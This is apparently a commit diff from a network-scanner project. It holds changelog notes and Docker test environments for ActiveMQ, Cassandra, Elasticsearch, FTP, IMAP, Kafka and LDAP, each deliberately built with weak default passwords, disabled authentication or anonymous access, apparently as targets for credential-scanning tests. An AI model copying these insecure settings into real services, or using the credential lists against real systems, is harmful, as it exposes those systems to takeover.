2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
[url-doczh]: README.md

View File

@ -0,0 +1,11 @@
FROM rmohr/activemq:5.15.9
# 复制配置文件
COPY users.properties /opt/activemq/conf/users.properties
COPY activemq.xml /opt/activemq/conf/activemq.xml
# 暴露端口
EXPOSE 61616 61613
# 设置启动命令
CMD ["/opt/activemq/bin/activemq", "console"]

View File

@ -0,0 +1,2 @@
docker build -t activemq-weak .
docker run -d --name activemq-test -p 61616:61616 -p 8161:8161 -p 61613:61613 activemq-weak

View File

@ -0,0 +1,39 @@
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:amq="http://activemq.apache.org/schema/core"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
http://activemq.apache.org/schema/core http://activemq.apache.org/schema/core/activemq-core.xsd">
<broker xmlns="http://activemq.apache.org/schema/core" useJmx="true" persistent="false">
<!-- 安全设置 -->
<plugins>
<simpleAuthenticationPlugin>
<users>
<authenticationUser username="admin" password="123456" groups="admins,publishers,consumers"/>
<authenticationUser username="test" password="test123" groups="publishers,consumers"/>
<authenticationUser username="root" password="root123" groups="admins"/>
<authenticationUser username="system" password="admin123" groups="admins"/>
</users>
</simpleAuthenticationPlugin>
<!-- 授权插件 -->
<authorizationPlugin>
<map>
<authorizationMap>
<authorizationEntries>
<authorizationEntry queue=">" read="consumers" write="publishers" admin="admins"/>
<authorizationEntry topic=">" read="consumers" write="publishers" admin="admins"/>
</authorizationEntries>
</authorizationMap>
</map>
</authorizationPlugin>
</plugins>
<transportConnectors>
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>
<transportConnector name="stomp" uri="stomp://0.0.0.0:61613?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>
</transportConnectors>
</broker>
</beans>

View File

@ -0,0 +1,4 @@
admin=123456
test=test123
root=root123
system=admin123

View File

@ -0,0 +1,2 @@
docker build -t cassandra-weak .
docker run -d --name cassandra-test -e CASSANDRA_AUTHENTICATOR=AllowAllAuthenticator -p 9042:9042 -p 9160:9160 cassandra:3.11

View File

@ -0,0 +1,19 @@
FROM docker.elastic.co/elasticsearch/elasticsearch:7.9.3
# 设置环境变量允许单节点运行
ENV discovery.type=single-node
# 允许任意IP访问
ENV network.host=0.0.0.0
# 设置弱密码
ENV ELASTIC_PASSWORD=elastic123
# 暴露端口
EXPOSE 9200 9300
# 设置默认用户名elastic和密码elastic123
RUN echo 'elastic:elastic123' > /usr/share/elasticsearch/config/users
# 关闭xpack安全功能使其可以无认证访问
RUN echo 'xpack.security.enabled: false' >> /usr/share/elasticsearch/config/elasticsearch.yml

View File

@ -0,0 +1,2 @@
docker build -t elastic-test .
docker run -d -p 9200:9200 -p 9300:9300 elastic-test

View File

@ -0,0 +1,2 @@
docker run -d -p 20:20 -p 21:21 -e FTP_USER=admin -e FTP_PASS=123456 -e PASV_ADDRESS=127.0.0.1 --name ftp bogem/ftp
Mac上可能有问题

View File

@ -0,0 +1,74 @@
FROM ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
# 安装 Dovecot 和工具
RUN apt-get update && \
apt-get install -y dovecot-imapd dovecot-gssapi ssl-cert net-tools procps && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# 创建邮件存储目录和邮箱
RUN mkdir -p /var/mail/vhosts/ && \
chmod 777 /var/mail/vhosts/
# 创建用户和密码文件
RUN echo "test:{PLAIN}123456" > /etc/dovecot/passwd && \
echo "admin:{PLAIN}admin123" >> /etc/dovecot/passwd && \
echo "root:{PLAIN}root123" >> /etc/dovecot/passwd && \
chown dovecot:dovecot /etc/dovecot/passwd && \
chmod 600 /etc/dovecot/passwd
# 配置Dovecot
RUN echo ' \
protocols = imap \n\
listen = * \n\
ssl = yes \n\
ssl_cert = </etc/ssl/certs/ssl-cert-snakeoil.pem \n\
ssl_key = </etc/ssl/private/ssl-cert-snakeoil.key \n\
mail_location = mbox:~/mail:INBOX=/var/mail/%u \n\
disable_plaintext_auth = no \n\
auth_mechanisms = plain login \n\
auth_debug = yes \n\
auth_debug_passwords = yes \n\
mail_debug = yes \n\
\n\
passdb { \n\
driver = passwd-file \n\
args = scheme=PLAIN /etc/dovecot/passwd \n\
} \n\
\n\
userdb { \n\
driver = static \n\
args = uid=vmail gid=vmail home=/var/mail/%u \n\
} \n\
\n\
service auth { \n\
user = dovecot \n\
unix_listener auth-userdb { \n\
mode = 0600 \n\
user = vmail \n\
} \n\
} \n\
\n\
service imap-login { \n\
inet_listener imap { \n\
port = 143 \n\
} \n\
inet_listener imaps { \n\
port = 993 \n\
ssl = yes \n\
} \n\
} \n\
' > /etc/dovecot/dovecot.conf
# 创建vmail用户并设置正确的权限
RUN groupadd -g 5000 vmail && \
useradd -g vmail -u 5000 vmail && \
chown -R vmail:vmail /var/mail && \
chown -R dovecot:dovecot /etc/dovecot && \
chmod -R 644 /etc/dovecot/dovecot.conf
EXPOSE 143 993
CMD ["dovecot", "-F"]

View File

@ -0,0 +1,2 @@
docker build -t weak-imap .
docker run -d --name imap-test -p 143:143 -p 993:993 weak-imap

View File

@ -0,0 +1 @@
docker-compose up -d

View File

@ -0,0 +1,28 @@
# docker-compose.yml
version: '3'
services:
zookeeper:
image: bitnami/zookeeper:latest
environment:
- ALLOW_ANONYMOUS_LOGIN=yes
ports:
- "2181:2181"
kafka:
image: bitnami/kafka:latest
ports:
- "9092:9092"
environment:
- KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181
- KAFKA_CFG_LISTENERS=SASL_PLAINTEXT://:9092
- KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092
- KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=SASL_PLAINTEXT:SASL_PLAINTEXT
- KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN
- KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN
- KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT
- KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf
- ALLOW_PLAINTEXT_LISTENER=yes
volumes:
- ./kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf
depends_on:
- zookeeper

View File

@ -0,0 +1,8 @@
KafkaServer {
org.apache.kafka.common.security.plain.PlainLoginModule required
username="admin"
password="admin123"
user_admin="admin123"
user_test="test123"
user_kafka="kafka123";
};

View File

@ -0,0 +1,18 @@
FROM osixia/openldap:1.5.0
# 环境变量设置
ENV LDAP_ORGANISATION="Example Inc"
ENV LDAP_DOMAIN="example.com"
ENV LDAP_BASE_DN="dc=example,dc=com"
# 设置一个弱密码
ENV LDAP_ADMIN_PASSWORD="123456"
# 允许匿名访问
ENV LDAP_READONLY_USER="true"
ENV LDAP_READONLY_USER_USERNAME="readonly"
ENV LDAP_READONLY_USER_PASSWORD="readonly"
# 暴露端口
EXPOSE 389 636
# 创建初始化脚本
COPY bootstrap.ldif /container/service/slapd/assets/config/bootstrap/ldif/custom/

Some files were not shown because too many files have changed in this diff Show More